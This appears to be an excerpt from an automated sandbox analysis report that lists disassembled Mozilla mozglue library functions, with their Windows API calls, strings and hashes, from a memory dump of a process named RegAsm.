Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6CB54A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB547FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB54812
MOZ_PROFILER_SHUTDOWN, xrefs: 6CB54A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB54828

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 18fa8376968b0e0095f28cebc00e758bcb0d72fe8e3b184fd869d9a926112b70
Instruction ID: b34ab9fd00e94d5a38cb51d734ed5e86ac53db527d6e88f84d1dd018a360ea99
Opcode Fuzzy Hash: 18fa8376968b0e0095f28cebc00e758bcb0d72fe8e3b184fd869d9a926112b70
Instruction Fuzzy Hash: 4E8123B5A001808FEB049F68C88475E3375FF46329F940629E91697B42E730EA74CF9B

Function 6CB519A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CBCF760), ref: 6CB519BD
GetCurrentProcess.KERNEL32 ref: 6CB519E5
GetLastError.KERNEL32 ref: 6CB51A27
moz_xmalloc.MOZGLUE(?), ref: 6CB51A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB51A4F
GetLastError.KERNEL32 ref: 6CB51A92
moz_xmalloc.MOZGLUE(?), ref: 6CB51AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB51ABA
LocalFree.KERNEL32(?), ref: 6CB51C69
free.MOZGLUE(?), ref: 6CB51C8F
free.MOZGLUE(?), ref: 6CB51C9D
CloseHandle.KERNEL32(?), ref: 6CB51CAE
ReleaseSRWLockExclusive.KERNEL32(6CBCF760), ref: 6CB51D52
GetLastError.KERNEL32 ref: 6CB51DA5
GetLastError.KERNEL32 ref: 6CB51DFB
GetLastError.KERNEL32 ref: 6CB51E49
GetLastError.KERNEL32 ref: 6CB51E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB51E9B

Part of subcall function 6CB52070: LoadLibraryW.KERNEL32(combase.dll,6CB51C5F), ref: 6CB520AE
Part of subcall function 6CB52070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CB520CD
Part of subcall function 6CB52070: __Init_thread_footer.LIBCMT ref: 6CB520E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB51F15
VerSetConditionMask.NTDLL ref: 6CB51F46
VerSetConditionMask.NTDLL ref: 6CB51F52
VerSetConditionMask.NTDLL ref: 6CB51F59
VerSetConditionMask.NTDLL ref: 6CB51F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB51F6D

Strings

D, xrefs: 6CB51B57

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 02034c2c1f1fd92dba86810da7af872c7448b9dc1175c8b893065f68645e005d
Instruction ID: 0ea6316e2747e3536e194aafcdfaab0234b9098cf84ee1e44199cc2c43603c7f
Opcode Fuzzy Hash: 02034c2c1f1fd92dba86810da7af872c7448b9dc1175c8b893065f68645e005d
Instruction Fuzzy Hash: 76F1C371E003A5AFEB209F60CC48BAAB7B8FF49704F544199E905A7640D774EE90CFA1

Function 6CB54470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB54730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB544B2,6CBCE21C,6CBCF7F8), ref: 6CB5473E
Part of subcall function 6CB54730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB5474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CB544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CB544D2
InitOnceExecuteOnce.KERNEL32(6CBCF80C,6CB4F240,?,?), ref: 6CB5451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB5455C
LoadLibraryW.KERNEL32(?), ref: 6CB54592
InitializeCriticalSection.KERNEL32(6CBCF770), ref: 6CB545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CB545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CB545BB
InitOnceExecuteOnce.KERNEL32(6CBCF818,6CB4F240,?,?), ref: 6CB54612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB54636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CB54644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB5466D
VerSetConditionMask.NTDLL ref: 6CB5469F
VerSetConditionMask.NTDLL ref: 6CB546AB
VerSetConditionMask.NTDLL ref: 6CB546B2
VerSetConditionMask.NTDLL ref: 6CB546B9
VerSetConditionMask.NTDLL ref: 6CB546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CB546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CB546FD

Strings

l, xrefs: 6CB54578
user32.dll, xrefs: 6CB54557, 6CB5463F
NativeNtBlockSet_Write, xrefs: 6CB546F7
WRusr.dll, xrefs: 6CB544B5
kernel32.dll, xrefs: 6CB544CD

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 437f3b970770df22828e1a1d245cd42390533345b0871b482643681d419a3972
Instruction ID: 0a3cd0e4b1bdfc36b895dbf67cf3a5c5f3aeacf109dd9dc524be93cae9ed29a6
Opcode Fuzzy Hash: 437f3b970770df22828e1a1d245cd42390533345b0871b482643681d419a3972
Instruction Fuzzy Hash: DE6108B07043C4DFEB009F60DC49BA97BB8EF4A709F448599E5049B641D7708B65CFA2

Function 6CB6BB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6CB6BC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6CB6BC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6CB6BC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB6BE33
VerSetConditionMask.NTDLL ref: 6CB6BE65
VerSetConditionMask.NTDLL ref: 6CB6BE71
VerSetConditionMask.NTDLL ref: 6CB6BE7D
VerSetConditionMask.NTDLL ref: 6CB6BE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB6BE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB6BEE4
VerSetConditionMask.NTDLL ref: 6CB6BF15
VerSetConditionMask.NTDLL ref: 6CB6BF21
VerSetConditionMask.NTDLL ref: 6CB6BF2D
VerSetConditionMask.NTDLL ref: 6CB6BF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB6BF47

Part of subcall function 6CBAAAE0: GetCurrentThreadId.KERNEL32 ref: 6CBAAAF8
Part of subcall function 6CBAAAE0: EnterCriticalSection.KERNEL32(6CBCF770,?,6CB6BF9F), ref: 6CBAAB08
Part of subcall function 6CBAAAE0: LeaveCriticalSection.KERNEL32(6CBCF770,?,?,?,?,?,?,?,?,6CB6BF9F), ref: 6CBAAB6B

free.MOZGLUE(00000000), ref: 6CB6BFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6CB6C014

Part of subcall function 6CBAAC20: CreateFileW.KERNEL32 ref: 6CBAAC52
Part of subcall function 6CBAAC20: CreateFileMappingW.KERNEL32 ref: 6CBAAC7D
Part of subcall function 6CBAAC20: GetSystemInfo.KERNEL32 ref: 6CBAAC98
Part of subcall function 6CBAAC20: MapViewOfFile.KERNEL32 ref: 6CBAACB0
Part of subcall function 6CBAAC20: GetSystemInfo.KERNEL32 ref: 6CBAACCD
Part of subcall function 6CBAAC20: MapViewOfFile.KERNEL32 ref: 6CBAAD05
Part of subcall function 6CBAAC20: UnmapViewOfFile.KERNEL32 ref: 6CBAAD1C
Part of subcall function 6CBAAC20: CloseHandle.KERNEL32 ref: 6CBAAD28
Part of subcall function 6CBAAC20: UnmapViewOfFile.KERNEL32 ref: 6CBAAD37
Part of subcall function 6CBAAC20: CloseHandle.KERNEL32 ref: 6CBAAD43

Part of subcall function 6CBAAE70: GetCurrentThreadId.KERNEL32 ref: 6CBAAE85
Part of subcall function 6CBAAE70: EnterCriticalSection.KERNEL32(6CBCF770,?,6CB6C034), ref: 6CBAAE96
Part of subcall function 6CBAAE70: LeaveCriticalSection.KERNEL32(6CBCF770,?,?,?,?,6CB6C034), ref: 6CBAAEBD

Strings

LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6CB6BFCF
accelerator.dll, xrefs: 6CB6BC8E, 6CB6BC9D
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6CB6BDDD
LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6CB6BF5B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: b7ad43902ba623000c7dd1f6d5f4eb9b4523e4ae18c146e1791d1e1c6916e42d
Instruction ID: 2e08dcef8a389d1a1a396aba7cda822bd300ea4b55141745a5396dd790f51140
Opcode Fuzzy Hash: b7ad43902ba623000c7dd1f6d5f4eb9b4523e4ae18c146e1791d1e1c6916e42d
Instruction Fuzzy Hash: 7AE11D71A083909FEB10DF25C884BAEB7F5EF85308F04491DF98587E80DB74A949DB92

Function 6CB8E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB87090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB8B9F1,?), ref: 6CB87107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB8DCF5), ref: 6CB8E92D
GetCurrentThreadId.KERNEL32 ref: 6CB8EA4F
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EA5C
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EA80
GetCurrentThreadId.KERNEL32 ref: 6CB8EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB8DCF5), ref: 6CB8EA92
GetCurrentThreadId.KERNEL32 ref: 6CB8EB11
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB8EB3C
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EB5B

Part of subcall function 6CB85710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB8EB71), ref: 6CB857AB

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB8EBAC

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8EBC1
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000), ref: 6CB8EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB8EBE5
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8,00000000), ref: 6CB8EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB8EC46
CloseHandle.KERNEL32(?), ref: 6CB8EC55
free.MOZGLUE(00000000), ref: 6CB8EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CB8EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB8EA9B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 0409e62dea344c4b21ff8b8e95d297dfda72764a05ae8e28ab400e69af76654d
Instruction ID: e8297f637f98d0ec549ed090f2533c7afd16b430db41ff21c79289f6d34403d7
Opcode Fuzzy Hash: 0409e62dea344c4b21ff8b8e95d297dfda72764a05ae8e28ab400e69af76654d
Instruction Fuzzy Hash: 5BA16935B016C4CFDB109F68C844BAE77B5FF8A718F14446DE92A87B41DB749904CBA2

Function 6CB8F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB8F8F9

Part of subcall function 6CB56390: GetCurrentThreadId.KERNEL32 ref: 6CB563D0
Part of subcall function 6CB56390: AcquireSRWLockExclusive.KERNEL32 ref: 6CB563DF
Part of subcall function 6CB56390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB5640E

ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F93A
GetCurrentThreadId.KERNEL32 ref: 6CB8F98A
GetCurrentThreadId.KERNEL32 ref: 6CB8F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F716

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

Part of subcall function 6CB4B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CB4B5E0

GetCurrentThreadId.KERNEL32 ref: 6CB8F739
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F746
GetCurrentThreadId.KERNEL32 ref: 6CB8F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBC385B,00000002,?,?,?,?,?), ref: 6CB8F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB8F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB8F866
free.MOZGLUE(?), ref: 6CB8FA0C

Part of subcall function 6CB55E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB555E1), ref: 6CB55E8C
Part of subcall function 6CB55E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB55E9D
Part of subcall function 6CB55E60: GetCurrentThreadId.KERNEL32 ref: 6CB55EAB
Part of subcall function 6CB55E60: GetCurrentThreadId.KERNEL32 ref: 6CB55EB8
Part of subcall function 6CB55E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB55ECF
Part of subcall function 6CB55E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CB55F27
Part of subcall function 6CB55E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CB55F47
Part of subcall function 6CB55E60: GetCurrentProcess.KERNEL32 ref: 6CB55F53
Part of subcall function 6CB55E60: GetCurrentThread.KERNEL32 ref: 6CB55F5C
Part of subcall function 6CB55E60: GetCurrentProcess.KERNEL32 ref: 6CB55F66
Part of subcall function 6CB55E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB55F7E

free.MOZGLUE(?), ref: 6CB8F9C5
free.MOZGLUE(?), ref: 6CB8F9DA

Strings

" attempted to re-register as ", xrefs: 6CB8F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB8F71F
Thread , xrefs: 6CB8F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB8F9A6

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4b3fa1da1bcca2726ac70593ba257db9c44fce80e43e98a40ef25e550f227bda
Instruction ID: 4e371164c0caecc392751d8f1af60e36c416f8c1522041790a4385064020b119
Opcode Fuzzy Hash: 4b3fa1da1bcca2726ac70593ba257db9c44fce80e43e98a40ef25e550f227bda
Instruction Fuzzy Hash: F6813571A053809FDB10DF24C880AAEB7B5EFC9308F44456DE8459BB51EB30D949CBA3

Function 6CB54180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB54196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CB541F1
VerSetConditionMask.NTDLL ref: 6CB54223
VerSetConditionMask.NTDLL ref: 6CB5422A
VerSetConditionMask.NTDLL ref: 6CB54231
VerSetConditionMask.NTDLL ref: 6CB54238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB54245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CB54263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6CB5427A
FreeLibrary.KERNEL32(?), ref: 6CB54299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB542C4
VerSetConditionMask.NTDLL ref: 6CB542F6
VerSetConditionMask.NTDLL ref: 6CB54302
VerSetConditionMask.NTDLL ref: 6CB54309
VerSetConditionMask.NTDLL ref: 6CB54310
VerSetConditionMask.NTDLL ref: 6CB54317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB54324

Strings

SetProcessDpiAwareness, xrefs: 6CB54274
Shcore.dll, xrefs: 6CB5425E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 9c1a52875e53396b2132b0b05df6c7890479f173e019f51241bb60da009a5899
Instruction ID: 6ab2f020f0723b10e3b64f63f2bb4d96868724a73e5877469cedb40e6c2e48c9
Opcode Fuzzy Hash: 9c1a52875e53396b2132b0b05df6c7890479f173e019f51241bb60da009a5899
Instruction Fuzzy Hash: 8C51F371A402A4ABEB106F648C49BAF777CEF8A714F414528F905AB6C0DB749E608E91

Function 6CB8EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8EE60
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EE6D
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB8EEA5
CloseHandle.KERNEL32(?), ref: 6CB8EEB4
free.MOZGLUE(00000000), ref: 6CB8EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB8EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8EECF

Part of subcall function 6CB8DE60: GetCurrentThreadId.KERNEL32 ref: 6CB8DE73
Part of subcall function 6CB8DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB54A68), ref: 6CB8DE7B
Part of subcall function 6CB8DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB54A68), ref: 6CB8DEB8
Part of subcall function 6CB8DE60: free.MOZGLUE(00000000,?,6CB54A68), ref: 6CB8DEFE
Part of subcall function 6CB8DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB8DF38

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB8EF1E
